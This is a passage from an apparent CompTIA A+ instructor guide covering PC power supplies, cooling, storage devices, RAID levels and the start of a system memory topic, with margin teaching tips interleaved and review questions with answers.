You should be able to identify and install types of interfaces and their physical
connectors on the motherboard and on peripheral devices.
Teaching
Tip Guidelines for Installing and Configuring Motherboards
Try to include some and Connectors
time at the end
of each lesson to Follow these guidelines to support the installation and configuration of
check students' motherboards, peripheral devices, and connectors:
understanding and
answer questions. • Make support documentation available so that technicians can easily identify
the features of system cases and motherboards—especially ATX/ITX form factor,
Interaction CPU socket type, and header configuration—and perform maintenance and
Opportunity upgrades efficiently.
If you don't have the
opportunity to run • Identify requirements for peripheral cables and connector types so that missing
hands-on workbench or faulty cables can be replaced quickly. Consider stocking adapter cables so that
labs, get students to use can be made of devices even if the connector type is not directly supported
download and review by the motherboard.
the service manuals
from different • Identify opportunities to upgrade devices that use legacy interfaces—VGA, DVI,
vendors, focusing
PCI, EIDE/PATA, SCSI, and RS-232 serial—with faster and more reliable modern
on features of the
case and adapter versions—USB/Thunderbolt, HDMI, DisplayPort, PCIe, SATA, and M.2.
installation. Compare
basic office desktops • Identify systems that have additional requirements to the controllers and ports
with workstations, provided on the motherboard and research the best model of video, capture,
such as a selection of sound, or network card to meet the requirement.
the following models.
• Basic office Additional practice questions for the topics covered in this lesson are available on the
desktops (Dell CompTIA Learning Center.
Optiplex 3080
Tower | HP
ProDesk 405 G4
Desktop Mini PC)
• Workstations
(Dell Precision
3650 | HP Z6 G4
Workstation)
Note the advice on
safety and anti-static
precautions plus
special procedures
for case disassembly
(screw types and
locations, baffles
and plastics, header
cables, and so on).

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 Lesson 2
Installing System Devices
1

LESSON INTRODUCTION
The market for the system components of a personal computer is a complex one. Show
Processors, memory modules, disk drives, and power supplies are advertised with a Slide(s)
bewildering range of technology improvements and performance differentiators. As Objectives
a CompTIA A+ technician, you need to interpret these performance characteristics
and understand how processing, storage, and power components contribute to a Teaching
PC specification that is appropriate for a given usage scenario. You must be able Tip
to resolve compatibility issues and be confident about the manual installation and This lesson focuses
removal procedures for these often expensive and delicate devices. on the main internal
components:
power, storage, and
Lesson Objectives processing.

In this lesson, you will:

• Install and configure power supplies and cooling.

• Select and install storage devices.

• Install and configure system memory.

• Install and configure CPUs.

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Topic 2A
Install and Configure Power
Supplies and Cooling
2

Show CORE 1 EXAM OBJECTIVES COVERED

Slide(s) 3.4 Given a scenario, install and configure motherboards, central processing units
Install and Configure (CPUs), and add-on cards.
Power Supplies and 3.5 Given a scenario, install or replace the appropriate power supply.
Cooling
Understanding the power requirements of all the components and the maximum
Teaching power output is crucial in managing new builds, upgrades, and repairs. Along
Tip with power, all PC components generate heat. Managing heat by installing and
Explain the maintaining cooling systems makes for a more reliable computing environment. A
importance of the computer that runs too hot risks damaging its own components and is likely to run
power supply and at reduced performance levels.
cooling subsystem to
reliable PC operation.
Power Supply Units
Show The power supply unit (PSU) delivers direct current (DC) low voltage power to the
Slide(s) PC components. A PSU contains a rectifier to convert alternating current (AC )
Power Supply Units building power to DC voltage output, transformers to step down to lower voltages,
and filters and regulators to ensure consistent output voltage levels. The other
Teaching important component in the PSU is the fan, which dissipates the heat generated.
Tip The power supply’s size and shape determine its compatibility with the system
Make sure students case, in terms of available room plus screw and fan locations. The form factor also
can distinguish input
determines compatibility with the motherboard, in terms of power connectors.
AC voltage and outlet
socket requirements Most PSUs designed for use with desktop PCs are based on the ATX form factor.
from DC output A PSU is plugged into an electrical outlet using a suitable power cord. Before doing
voltage and power
this, you must ensure that the PSU is compatible with the input voltage from the
requirements.
outlet. A PSU designed only for use in North America, where the input voltage for
most homes and offices is 120 VAC (low-line), will not work in the UK, where the
voltage is 230 VAC (high-line). Also, facilities such as data centers typically use
high-line voltage because it is more efficient. Most PSUs are dual voltage and are
auto-switching; some have a manual switch to select the correct voltage; fixed
voltage types can only accept either low-line or high-line. The input operating
voltages should be clearly marked on the unit and accompanying documentation.

AC voltage supply varies by country and by the nature of AC distribution circuits.

Consequently, PSUs have quite a wide tolerance in each band. The low-line range is
100-127 VAC, while the high-line range is 220-240 VAC.

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Autoswitching PSU (left) and PSU with manual voltage selector

(between the power points). (Image © 123RF.com)

Wattage Rating
Power is the rate at which things generate or use energy. Power is measured in Show
in watts (W), calculated for electrical components as voltage multiplied by current Slide(s)
(V*I). A PSU must be able to meet the combined power requirements of the PC’s Wattage Rating
components. The PSU’s output capability is measured as its wattage rating. A PSU
designed for use in a standard desktop PC is typically rated at around 200–300 W. Teaching
Enterprise workstation PCs and servers often have units rated over 300 W to meet Tip
the demands of multiple CPUs, additional memory modules, disk drives, and tape Discuss how to
units. Gaming PCs might require 500 W or better power supplies to cope with the work out the power
high specification CPU and graphics card(s). requirements of
a custom PC or
The power requirement of different components varies widely. For example, CPUs component upgrade.
can range from 17 W to over 100 W, depending on the model. If you are building or
upgrading a system, the simplest way to work out the power requirement is to use
an online calculator. Examples of these tools include enermax.outervision.com and
coolermaster.com/power-supply-calculator.

The power output is not the same as the power the PSU draws from grid power. If a PSU
works at around 75% efficiency, a 300 W supply would draw 400 W from the outlet. The
extra energy is lost mainly as heat. As energy becomes more expensive both in terms
of cost and in terms of the climate, power efficiency is an important criterion to use
when selecting a PSU. An ENERGY STAR 80 PLUS compliant PSU must be 80% efficient at
20–100% of load.

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When specifying a PSU for a system with high power requirements, it is also
important to assess the power distribution for its output voltages (3.3 VDC,
5 VDC, and 12 VDC). Distribution refers to how much power is supplied
over each rail. A rail is a wire providing current at a particular voltage. The
following table shows an example of how power distribution for a PSU might
be configured:

Output Rail (VDC) Maximum Load (A) Maximum Output (W)

+3.3 20 130
+5 20 130
+12 33 396
-12 0.8 9.6
+5 (standby) 2.5 12.5

Note that the output of +3.3 V and +5 V has a combined limit. For a modern computer,
the output rating of the +12 VDC rail (or rails) is the most important factor, as +12 VDC
is the most heavily used.

Power Supply Connectors

Show Each PSU has a number of power connectors attached. The power connectors
Slide(s) supply DC voltage to the motherboard and devices at 3.3 VDC, 5 VDC, and
Power Supply 12 VDC. Not all components use power at precisely these voltages. Voltage
Connectors regulators are used to correct the voltage supplied from the PSU to the voltage
required by the component. The motherboard’s power port is referred to as the
Interaction P1 connector. A PSU will also have a number of Molex and/or SATA device power
Opportunity connectors and 4/6/8-pin connectors for use with CPU and PCIe adapter card
If you have examples power ports.
to show or hand
out, get students to 20-pin to 24-pin Motherboard Adapter
identify the different
connector types. The ATX PSU standard has gone through several revisions, specifying different
Remind students that connector form factors. In the original ATX specification, the P1 connector is 20-pin
we covered device (2x10). Wires with black insulation are ground, yellow are +12 V, red are +5 V, and
connectors (SATA
power and Molex)
orange are +3.3 V.
earlier. Most systems are now based on the ATX12V version 2 specification. This defines
a 24-pin (2x12) P1 form factor to replace the 20-pin one. Some PSUs have a
20+4-pin P1 adapter cable for compatibility with older motherboards with a
20-pin port.

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A 24-pin main motherboard power cable and port. (Image ©123RF.com)

Modular Power Supplies

A modular PSU has power connector cables that are detachable from the unit.
Reducing the number of cables to the minimum required minimizes clutter within
the chassis, improving air flow and cooling. For example, a non-modular PSU might
have four or five Molex or SATA device power connectors, but the PC might only
require two of them. With a modular PSU, the unnecessary cables can be removed.

Modular power supply with pluggable cables. (Image ©123RF.com)

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Redundant Power Supplies

A computer system may be fitted with two PSUs, with one acting as a failover
redundant power supply. This could also be connected to a different grid power
circuit. A redundant PSU configuration requires a compatible motherboard. This
configuration is more commonly found on server systems than on desktop PCs. On
a server, typically each PSU plugs into a backplane and is hot-swappable. This allows
a faulty unit to be removed and replaced without having to open the case and
without the server ever losing power.

Fan Cooling Systems

Show Components in a computer system emit heat because of some degree of resistance
Slide(s) when electrical current passes through them. Without a cooling solution, this
Fan Cooling Systems heat will raise the temperature of each component and increase the ambient
temperature inside the case. Excessive temperatures can cause the components
Teaching to malfunction or even damage them. This issue particularly affects CPUs. While
Tip Intel and AMD are both focusing on making new CPU designs more thermally
Also discuss the efficient, all CPUs require cooling to keep the temperature within an acceptable
importance of tidy operational range.
cabling and baffles in
maintaining airflow As well as the CPU, components such as memory cards, graphics adapters, and SSDs
within the chassis. also require cooling solutions.

Heat Sinks and Thermal Paste

A heat sink is a block of copper or aluminum with fins. The fins expose a larger
surface area to the air around the component to achieve a cooling effect by
convection. The heat sink is “glued” to the surface of the chip using thermal
paste to ensure the best transfer of heat by eliminating small air gaps. A thermal
pad performs a similar function. The pad is a compound that is solid at room
temperature but softens when heated. This can be easier to apply but does not
always perform as reliably.

CPU heat sink and fan assembly. (Image ©123RF.com)

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There are various mechanisms for clamping a CPU heat sink to the motherboard.
There may be a retaining clip or push pins. Push pins can be released and reset for
insertion by making a half turn with a screwdriver.

Fans
A heat sink is a passive cooling device. Passive cooling means that it does not
require extra energy (electricity) to work. To work well, a heat sink requires good
airflow around the PC. It is important to try to keep “cable clutter” to a minimum
and to ensure that spare adapter slots are covered by blanking plates.
Many PCs have components that generate more heat than can be removed by
passive cooling. A fan improves airflow, which helps to dissipate heat. Fans are used
for the power supply and chassis exhaust points. The fan system will be designed
to draw cool air from the low vents in the front of the case over the motherboard
and expel warmed air from the fan positioned at the top of the back of the case.
Most heat sinks are fitted with fans to improve their cooling performance. The fan’s
power connector must be plugged into a motherboard fan power port.
Thermometer sensors are used at each fan location to set an appropriate speed
and to detect whether a fan has failed.
Some chassis designs incorporate a plastic shroud or system of baffles to cover the
CPU and channel the flow of air. The shroud is usually attached to the case using
plastic clips.
Both fans and heat sinks become less effective if dust is allowed to build up. These
components and any air vents should be cleaned periodically, either manually with
a soft brush and/or compressed air or using a vacuum cleaner approved for use
with PCs.

Liquid Cooling Systems

PCs used for high-end gaming may generate more heat than basic thermal Show
management can cope with. PCs used where the ambient temperature is very high Slide(s)
may also require exceptional cooling measures. Liquid Cooling
Systems

A liquid-cooled PC. (Image © 123RF.com.)

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A liquid-based cooling system refers to a system of pumping water around the

chassis. Water is a more effective coolant than air convection, and a good pump can
run more quietly than numerous fans.
An open-loop, liquid-based cooling system uses the following components:
• The water loop/tubing and pump push the coolant added via the reservoir
around the system.

• Water blocks and brackets are attached to each device to remove heat by
convection. These are attached in a similar way to heat sink/fan assemblies and
then connected to the water loop.

• Radiators and fans are positioned at air vents to dispel the excess heat.

There are also simpler closed-loop systems that install to a single component (CPU or
GPU) only.

An open-loop system will usually need draining, cleaning, and refilling periodically.
It is also important to keep the fans and radiators dust-free. The system should also
be drained prior to moving the PC to a different location.

Lesson 2: Installing System Devices | Topic 2A

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 The Official CompTIA A+ Core 1 and Core 2 Instructor Guide (Exams 220-1101 and 220-1102) | 51

Review Activity:
Power Supplies and Cooling
3

Answer the following questions:

1. What is the significance of a PSU’s wattage rating when you are designing Show
a custom-build PC? Slide(s)
Review
It determines the CPU model and number and type of memory modules, expansion
cards, and storage devices that can be installed. The PSU’s wattage rating must be
Teaching
higher than the sum of the power requirements of all the PC’s components.
Tip
2. Your company has recently closed a foreign branch office, and you are Take some time at
repurposing some PCs that were shipped from the old location. What the end of each topic
to answer questions.
feature of the PSUs must you check before powering the systems on?
You can use the
review questions
You must check that the voltage selector is set to the correct voltage or, if there
for discussion in
is no selector, that the PSU is suitable for the voltage used by the building power class or set them for
circuit. students to complete
individually during or
3. One of the PCs has a faulty CPU, and one has a faulty power supply. You after class.
can use the CPU from one machine in the other. You have opened the
case and taken anti-static precautions. What steps must you perform to
access the CPU?

You will have to remove the fan and heat-sink assembly, disconnect the fan’s power
connector, release the pins or screws that attach the assembly to the motherboard,
and remove the assembly (a gentle twisting motion may be required if the thermal
paste has stuck the heat sink firmly to the CPU).

4. The repurposed PC is put into service, but later that day the PC’s user
contacts you to say that the system has been displaying numerous alerts
about high temperature. What do you think might be the cause?

You would need to open the case to investigate the problem. Perhaps when the
upgrade was performed, one of the fan power connectors was not attached
properly, or there could be a fault in the fan on the PSU.

Lesson 2: Installing System Devices | Topic 2A

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Topic 2B
Select and Install Storage Devices
5

Show CORE 1 EXAM OBJECTIVES COVERED

Slide(s) 3.3 Given a scenario, select and install storage devices.
Select and Install
Storage Devices
A PC is often much less valuable than the data that it stores and processes. This
Teaching means that the reliability and performance of the devices used to store system
Tip files and user files is of critical importance. If these storage devices fail, the PC
Explain that disk drives will not work, and valuable information may be lost. By identifying the types
provide persistent and characteristics of storage devices, you will be prepared to select, install, and
storage. This means
that data is retained maintain them to ensure a reliable computing environment for users.
on the media without
requiring a power
source.
Mass Storage Devices
Show Non-volatile storage devices hold data when the system is powered off. These
Slide(s) devices are also referred to as mass storage. Mass storage devices use magnetic,
Mass Storage Devices optical, or solid-state technology to store data.
A mass storage device installed as an internal component is referred to as a fixed
Interaction
disk. Storage devices are produced in a number of standard widths: 5.25 inches,
Opportunity
3.5 inches, and 2.5 inches. The computer chassis has several drive bays to fit these
Explain how fixed form factors. Form factor bays with a 5.25-inch width are provided with removable
disks are installed
panels so that they can be used with devices that have removable media, such as
to drive bays within
the case. If you have DVD drives and smart card readers.
examples to show or A fixed disk is typically installed to a drive bay using a caddy. You screw the drive into
hand out, then that
the caddy, then screw the caddy into the drive bay. A caddy can also allow you to fit a
will boost students’
understanding. drive of a different size to the bay. For example, you can fit a 2.5-inch drive in a 3.5-inch
bay or a 3.5-inch drive in a 5.25-inch bay by using an adapter caddy. Some caddies use
Teaching rails so that you can pull the drive out without having to open the case.
Tip
Discuss how to
compare reliability
and performance
metrics, stressing
the importance of
knowing the use to
which the computer
will be put.

Computer tower with main panel removed showing an attached motherboard and areas for
optical disc drives, 3.5-inch drive bays, and a power supply bay. (Image ©123RF.com)

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Removable mass storage devices and removable media allow data to be archived
from the PC and transferred between PCs. External storage devices are also used
for backup and data transfer or to provide a drive type not available as an internal
unit. A device such as an external hard drive would typically be connected to the
computer via a USB or Thunderbolt port.
Apart from cost, several factors impact the choice of mass storage device:
• Reliability—This concerns both the risk of total device failure and the risk of
partial data corruption. Reliability and expected lifespan are rated by various
statistics that are different for each technology type.

• Performance—When comparing different types of storage technology, you

need to evaluate performance for the type of data transfer that the device will
use predominantly. For example, read and write performance have different
characteristics. There are also differences between sequential access (reading
data from the same “block” as might happen when transferring a large file) and
random access (reading data from different locations on the drive or transferring
lots of small files). Along with the data throughput measured in MB/s or GB/s,
you may need to consider the number of input/output operations per second
(IOPS) that can be achieved by a device for different kinds of data transfer
operations.

• Use—Reliability and performance factors can only be properly evaluated when

considering use. Examples of how storage is used include running an OS, hosting
a database application, streaming audio/video data, as removable media, and
for data backup and archiving. These use cases have different cost, reliability,
and performance considerations. Show
Slide(s)
Some of the mass storage drive vendors include Seagate, Western Digital, Hitachi, Solid-State Drives
Fujitsu, Toshiba, and Samsung.
Teaching
Solid-State Drives Tip
Explain that an SSD is
A solid-state drive (SSD) uses flash memory technology to implement persistent now the mainstream
mass storage. Flash memory performs much better than the mechanical choice for the PC’s
components used in hard disk drives, especially in terms of read performance. Risks main drive (boot
volume). Installing
from total failure of the device due to mechanical shock and wear are generally the OS to an HDD
lower. Costs per gigabyte have fallen rapidly in the last few years. will drastically reduce
system performance.
Explain that SSDs
can use a standard
SATA interface with a
physical format of disk
device with SATA data
and power connectors
or adapter card
format with an mSATA
connector.
Explain that most
SSDs use NVMe to
communicate directly
on the PCIe bus. The
physical form factor
can be a PCIe adapter
card or M.2.
Finally, note that M.2
actually has multiple
other uses, one of
which is to attach
A 2.5-inch form factor solid state drive with SATA interface. (Image ©123RF.com) SATA interface SSDs.

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SSDs normally outperform HDDs, but there are situations where they can perform worse
than HDDs (when serving multi-gigabyte file sizes, for example).

Flash chips are also susceptible to a type of degradation over the course of many
write operations. The drive firmware and operating system use wear leveling
routines that evenly distribute writing on all blocks of an SSD to optimize the life of
the device.

The NOT AND (NAND) flash memory used in SSDs comes in different types. Single level
cell (SLC) is more reliable and more expensive than multi-level cell (MLC) and triple level
cell (TLC) types.

On a typical modern desktop PC, an SSD might be installed as the computer’s only
internal drive or as a boot drive for use with an additional hard drive. In the second
scenario, the SSD would be used to install the OS and software applications, while
the HDD would be used for user data files.
In terms of the communications interface, an SSD might be packaged in a
2.5-inch caddy and installed to a SATA port using the normal SATA data and
power connectors. Alternatively, the mSATA form factor allows an SSD packaged
as an adapter card to be plugged into a combined data and power port on the
motherboard. With both form factors, the main drawback is that the 600 MBps
SATA interface can be a bottleneck to the best performing SSDs, which can achieve
transfer rates of up to 6.7 GB/s.

mSATA SSD form factor. (Image ©123RF.com)

Consequently, modern SSDs often use the PCI Express (PCIe) bus directly. Where
SATA uses the advanced host controller interface (AHCI) logical interface to
communicate with the bus, PCIe-based SSDs use the non-volatile memory host
controller interface specification (NVMHCI) or NVM Express (NVMe).
An NVMe SSD can either be packaged for installation to a PCIe slot as an expansion
card or to an M.2 slot. The M.2 adapter card form factor is considerably smaller
than a PCIe adapter and oriented horizontally rather than vertically, so the interface

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is often used on laptops as well as PC motherboards. M.2 supplies power over the
bus so there is no need for a separate power cable. M.2 adapters can be different
widths and lengths so you should check that any given adapter will fit on your
motherboard. Labels indicate the adapter sizes supported. For example, an M.2
2280 adapter is 22mm wide and 80mm long.

M.2 is a physical form factor. You can obtain M.2 SSDs that use the SATA/AHCI bus.
These will typically not perform as well as NVMe-based M.2 SSDs. On the motherboard,
an M.2 socket may be able to support both types of drive or only one; check the
documentation. SATA interface SSDs are usually B keyed, 2-lane PCIe SSDs are usually
B/M keyed, and 4-lane SSDs are usually M keyed.

SSDs are vulnerable to electrostatic discharge (ESD). Always take anti-ESD precautions
when handling and storing these devices.

Hard Disk Drives

A hard disk drive (HDD) stores data on metal or glass platters that are coated with Show
a magnetic substance. The top and bottom of each platter is accessed by its own Slide(s)
read/write head, moved by an actuator mechanism. The platters are mounted on Hard Disk Drives
a spindle and spun at high speed. Each side of each platter is divided into circular
tracks, and a track contains several sectors, each with a capacity of 512 bytes. This Teaching
low-level formatting is also referred to as the drive geometry. Tip
HDDs are now most
typically installed as
a second drive/RAID
array for data storage,
but students might still
come across legacy
systems using HDDs
as the main drive.

HDD with drive circuitry and casing removed showing 1) Platters; 2) Spindle;
3) Read/Write Heads; 4) Actuator. (Image by mkphotoshu @123RF.com)

This technology means that the performance of an HDD is determined by the

speed at which the disks spin, measured in revolutions per minute (RPM). High
performance drives are rated at 15,000 or 10,000 rpm; average performance
is 7,200 or 5,400 rpm. RPM is one factor determining access time, measured in
milliseconds. Access time is the delay that occurs as the read/write head locates a
particular track position, which is known as seek time. Access time is also impacted

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by the sector location process (rotational latency) on the drive. A high-performance

drive will have an access time below 3 ms; a typical drive might have an access time
of around 6 ms.
The internal transfer rate (or data or disk transfer rate) of a drive is a measure of
how fast read/write operations are performed on the disk platters. A 15 K drive
should support an internal transfer rate of up to about 180 MBps, while 7.2 K drives
will be around 110 MBps.
Most HDDs use a SATA interface, though you may come across legacy devices using
EIDE/PATA or SCSI interfaces. There are two main form factors for HDDs. The
mainstream type used in desktop PCs are 3.5-inch units. The 2.5-inch form factor
is used for laptops and as portable external drives. Devices with 2.5-inch form
factors can also vary in height, with 15 mm, 9.5 mm, 7 mm, and 5 mm form factors
available.

Redundant Array of Independent Disks

Show Whether it is the system files required to run the OS or data files generated by
Slide(s) users, an HDD or SSD stores critical data. If a boot drive fails, the system will crash.
Redundant Array of If a data drive fails, users will lose access to files and there may be permanent data
Independent Disks loss if those files have not been backed up. To mitigate these risks, the disks that
underpin the mass storage system can be provisioned as a redundant array of
Teaching independent disks (RAID). Redundancy sacrifices some disk capacity but provides
Tip fault tolerance. To the OS, the RAID array appears as a single storage resource, or
Explain the volume, and can be partitioned and formatted like any other drive.
importance of fault
tolerance for the RAID can also be said to stand for "Redundant Array of Inexpensive Disks," and the "D"
storage subsystem
can also stand for "devices."
and discuss how RAID
can be implemented
in hardware.
A RAID level represents a drive configuration with a given type of fault tolerance.
Basic RAID levels are numbered from 0 to 6. There are also nested RAID solutions,
such as RAID 10 (RAID 1 + RAID 0).
RAID can be implemented using features of the operating system, referred to as
software RAID. Hardware RAID uses a dedicated controller, installed as an adapter
card. The RAID disks are connected to SATA ports on the RAID controller adapter
card, rather than to the motherboard.

As another option, some motherboards implement integrated RAID functionality as part

of the chipset.

Hardware solutions are principally differentiated by their support for a range of

RAID levels. Entry-level controllers might support only RAID 0 or RAID 1, whereas
mid-level controllers might add support for RAID 5 and RAID 10. In addition,
hardware RAID is often able to hot swap a damaged disk. Hot swap means that the
failed device can be replaced without shutting down the operating system.

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Configuring a volume using RAID controller firmware.

RAID 0 and RAID 1

When implementing RAID, it is important to select the appropriate RAID level. The Show
factors influencing this decision include the required level of fault tolerance, read/ Slide(s)
write performance characteristics, required capacity, and cost. RAID 0 and RAID 1

When building a RAID array, all the disks should normally be identical in terms of Teaching
capacity and ideally in terms of type and performance. If disks are different sizes, the Tip
size of the smallest disk in the array determines the maximum amount of space that
Ensure that students
can be used on the larger drives.
can distinguish
the features and
configuration of each
RAID 0 (Striping without Parity) RAID level. Students
may find this section
Disk striping divides data into blocks and spreads the blocks in a fixed order among difficult, so be
all the disks in the array. This improves performance as multiple disks are available prepared to allocate
to service requests in parallel. RAID 0 requires at least two disks. The logical volume extra time to it.
size is the combined total of the smallest capacity physical disk in the array.
However, RAID 0 provides no redundancy at all. If any physical disk in the array
fails, the whole logical volume will fail, causing the computer to crash and requiring
data to be recovered from backup. Consequently, RAID 0 only has specialist uses—
typically as some type of non-critical cache store.

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RAID 0 (striping)—Data is spread across the array. (Image ©123RF.com)

RAID 1 (Mirroring)
RAID 1 is a mirrored drive configuration using two disks. Each write operation
is duplicated on the second disk in the set, introducing a small performance
overhead. A read operation can use either disk, boosting performance somewhat.
This strategy is the simplest way of protecting a single disk against failure. If one
disk fails, the other takes over. There is little impact on performance during this,
so availability remains good, but the failed disk should be replaced as quickly as
possible as there is no longer any redundancy. When the disk is replaced, it must be
populated with data from the other disk. Performance while rebuilding is reduced,
though RAID 1 is better than other levels in that respect and the rebuilding process
is generally shorter than for parity-based RAID.

RAID 1 (mirroring)—Data is written to both disks simultaneously. (Image ©123RF.com)

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In terms of cost per gigabyte, disk mirroring is more expensive than other forms of
fault tolerance because disk space utilization is only 50%.

RAID 5 and RAID 10

RAID 5 and RAID 10 have performance, disk utilization, and fault tolerance Show
characteristics that can make them better choices than basic mirroring. Slide(s)
RAID 5 and RAID 10
RAID 5 (Striping with Distributed Parity)
Teaching
RAID 5 uses striping (like RAID 0) but with distributed parity. Distributed parity
Tip
means that error correction information is spread across all the disks in the
array. The data and parity information are managed so that the two are always Explain that RAID
5 uses parity
on different disks. If a single disk fails, enough information is spread across the
information
remaining disks to allow the data to be reconstructed. Stripe sets with parity offer distributed between
the best performance for read operations. However, when a disk has failed, the drives to recover from
read performance is degraded by the need to recover the data using the parity a single device failure.
information. Also, all normal write operations suffer reduced performance due to RAID 5 has better
the parity calculation. storage efficiency than
mirroring.
RAID 10 is one of
the most secure and
best-performing
RAID levels. The main
drawback is cost.

RAID 5 (striping with parity). (Image ©123RF.com)

RAID 5 requires a minimum of three drives but can be configured with more.
This allows more flexibility in determining the overall capacity of the array than is
possible with RAID 1. A “hard” maximum number of devices is set by the controller
or OS support, but the number of drives used is more likely to be determined by
practicalities such as cost and risk. Adding more disks increases the chance of
failure. If more than one disk fails, the volume will be unavailable.

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The level of fault tolerance and available disk space is inverse. As you add disks to
the set, fault tolerance decreases but usable disk space increases. If you configure
a RAID 5 set using three disks, a third of each disk is set aside for parity. If four are
used, one-quarter is reserved on each disk. Using a three 80 GB disk configuration,
you would have a 160 GB usable volume.

RAID 10 (Stripe of Mirrors)

A nested RAID configuration combines features of two basic RAID levels. RAID 10 is
a logical striped volume (RAID 0) configured with two mirrored arrays (RAID 1). This
configuration offers excellent fault tolerance, as one disk in each mirror can fail, and
the volume will still be available.

RAID 10—Either disk in each of the sub-volumes can fail without bringing down the main volume.
(Image ©123RF.com)

Show This configuration requires at least four disks, and there must be an even number
Slide(s) of disks. It carries the same 50% disk overhead as mirroring.
Removable Storage
Drives Removable Storage Drives
Teaching Removable storage can refer either to a storage device that can be moved from
Tip computer to computer without having to open the case or to storage media that is
You should not need removable from its drive.
to spend long on this.
Drive enclosures are Drive Enclosures
not on the syllabus,
so you may prefer to HDDs and SSDs can be provisioned as removable storage in an enclosure. The
skip them in class. enclosure provides a data interface (USB, Thunderbolt, or eSATA), a power
Make sure students
understand the
connector (if necessary), and protection for the disk.
difference between
flash drive and
memory card formats.

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External storage device. (Image ©123RF.com)

Some enclosures can be connected directly to a network rather than to a PC. This
is referred to as network attached storage (NAS). Advanced enclosures can host
multiple disk units configured as a RAID array.

Flash Drives and Memory Cards

The flash memory underpinning SSDs can also be provisioned in the flash drive and
memory card form factors. A flash drive—also called a USB drive, thumb drive, or
pen drive—is simply a flash memory board with a USB connector and protective
cover. This type of drive plugs into any spare USB port.

USB thumb drive (left) and SD memory card (right). (Image ©123RF.com)

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The memory card form factor is used in consumer digital imaging products, such
as digital still and video cameras, and to expand smartphone and tablet storage.
A PC can be fitted with a memory card reader device. These are usually designed
to fit in a front-facing drive bay. The reader then needs to be connected to a USB
controller. Most motherboards have at least one spare USB header for making
internal connections. Alternatively, the reader may come with an expansion card.

Multi-card reader. (Image ©123RF.com)

There are several proprietary types of memory card, each of which also has
different sizes and performance ratings. Most memory card readers work with
multiple card types. As an example, Secure Digital (SD) cards are available in three
capacity variants. The original SD cards have a 2 GB maximum capacity, whereas
SDHC is up to 32 GB and SDXC is up to 2 TB. There are also four speed variants. The
original specification is up to 25 MBps, UHS allows up to 108 MBps, UHS-II is rated
at up to 156 MBps full-duplex or 312 MBps half-duplex, while UHS-III specifies two
full-duplex rates of 312 MBps (FD312) and 624 MBps (FD624). Smaller form factor
microSD, microSDHC, and microSDXC cards are also available.

The smaller form factors can be used with regular size readers using a caddy to hold the
card.

Optical Drives
Show Compact Discs (CDs), Digital Versatile Discs (DVDs), and Blu-ray Discs (BDs) are
Slide(s) mainstream storage formats for music and video retail. All types of optical media
Optical Drives use a laser to read the data encoded on the disc surface. The discs are marketed as
being hard-wearing, but scratches can render them unreadable.
Teaching These discs can also be used as storage media for PC data. Each disc type is
Tip available in recordable and rewritable formats:
Again, you should
not need to spend • Basic recordable media can be written to once only in a single session.
long on this. Make
sure students can • Multisession recordable media can be written to in more than one session, but
distinguish recordable data cannot be erased.
and rewritable
formats. • Rewritable media can be written and erased in multiple sessions, up to a given
number of write cycles.

Each optical disc type has different capacity and transfer rate:
• CD has a maximum capacity of 700 MB and is available in recordable (CD-R) and
rewritable (CD-RW) formats. The base transfer rate of a CD is 150 KBps.

• DVD has a capacity of 4.7 GB for a single layer, single-sided disc up to about 17 GB
for a dual-layer, double-sided disc. At launch, there were competing DVD+R/RW
and DVD-R/RW recordable and rewritable formats, but most drives can use

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either, designated by the ± symbol. The base transfer rate for DVD is 1.32 MBps,
equivalent to 9x CD speed.

• Blu-ray has a capacity of 25 GB per layer. The base speed for Blu-ray is 4.5 MBps,
and the maximum theoretical rate is 16x (72 MBps).

An internal optical drive can be installed to a 5.25-inch drive bay and connected
to the motherboard via SATA data and power connectors. An external unit would
be connected via USB (or possibly eSATA or Thunderbolt). External optical drives
typically require their own power supply, provided via a supplied AC adapter. Some
drives use a tray-based mechanism, while other use a slot-loading mechanism.

Optical drive unit. (Image ©123RF.com)

Drives also feature a small hole that accesses a disc eject mechanism (insert a paper
clip to activate the mechanism). This is useful if the standard eject button will not work
or if the drive does not have power.

Optical drives are rated according to their data transfer speed. An optical drive that
can perform recording/rewriting is marketed with three speeds, always expressed
as the record/rewrite/read speed (for example, 24x/16x/52x). New drives are
generally multi-format, but you may come across older drives with no Blu-ray
support.
Consumer DVDs and Blu-rays feature digital rights management (DRM) and region-
coding copy-protection mechanisms. Region coding, if enforced, means that a disc
can only be used on a player from the same region. On a PC, the region can usually
be set using device properties. The firmware normally prevents this from being
changed more than a couple of times.

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Review Activity:
Storage Devices
6

Show Answer the following questions:

Slide(s)
Review
1. True or false? A solid-state drive (SSD) attached to an M.2 port must be
Teaching
using the non-volatile memory host controller interface specification
Tip
(NVMHCI) or NVM Express (NVMe).
Take some time at
the end of each topic False. M.2 is a physical form factor and can support both SATA and NVMe
to answer questions. interfaces.
You can use the
review questions 2. What basic factor might you look at in selecting a high-performance hard
for discussion in
class or set them for
disk drive?
students to complete
individually during or Revolutions per minute (RPM)—the speed at which it spins. The top-performing
after class. drives are 15,000 (15K) or 10,000 (10K).

3. If you have a computer with three hard disks, what type of RAID fault-
tolerant configuration will make best use of them?

RAID 5 (striping with parity). RAID 0 is not fault tolerant. RAID 1 and RAID 10 require
an even number of disks.

4. You are configuring four 120 GB drives in a RAID 5 array. How much space
will be available?

360 GB.

5. What is the minimum number of disks required to implement RAID

10, and how much of the disks’ total capacity will be available for
the volume?

RAID 10 requires at least four disks (two mirrored pairs) and comes with a 50%
capacity overhead, so the volume will only be half the total disk capacity.

6. True or false? A memory card reader is needed to attach a thumb drive

to a PC.

False—a thumb or pen drive will plug into a USB port.

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Topic 2C
Install and Configure System Memory
7

CORE 1 EXAM OBJECTIVES COVERED Show

3.2 Given a scenario, install the appropriate RAM. Slide(s)
Install and Configure
System Memory

The fixed disk provides persistent storage when the computer is turned off, but Teaching
a PC also requires fast random access memory (RAM) to load applications and Tip
files. Adding system RAM is one of the simplest and most cost-effective ways to Explain that “memory”
increase a computer’s performance, but there are many types of RAM and ways of refers to non-
configuring the memory subsystem that you must be able to choose between for persistent storage.
given scenarios. This means that
the device must be
powered on to retain
System RAM and Virtual Memory information.

The CPU works by processing the instructions generated by software (processes) Show
in a pipeline. Instructions that are at the top of the pipeline are stored in the Slide(s)
CPU’s registers and cache. The CPU only has a small amount of cache, however. System RAM and
Consequently, the operation of the CPU must be supported by additional storage Virtual Memory
technologies.
Teaching
When a process is executed or a data file opened, the image is loaded from the Tip
fixed disk into system memory. Instructions are fetched from system memory and
Explain how system
into the CPU’s cache and registers as required. This process is handled by a memory memory provides
controller. a “workspace” for
applications and
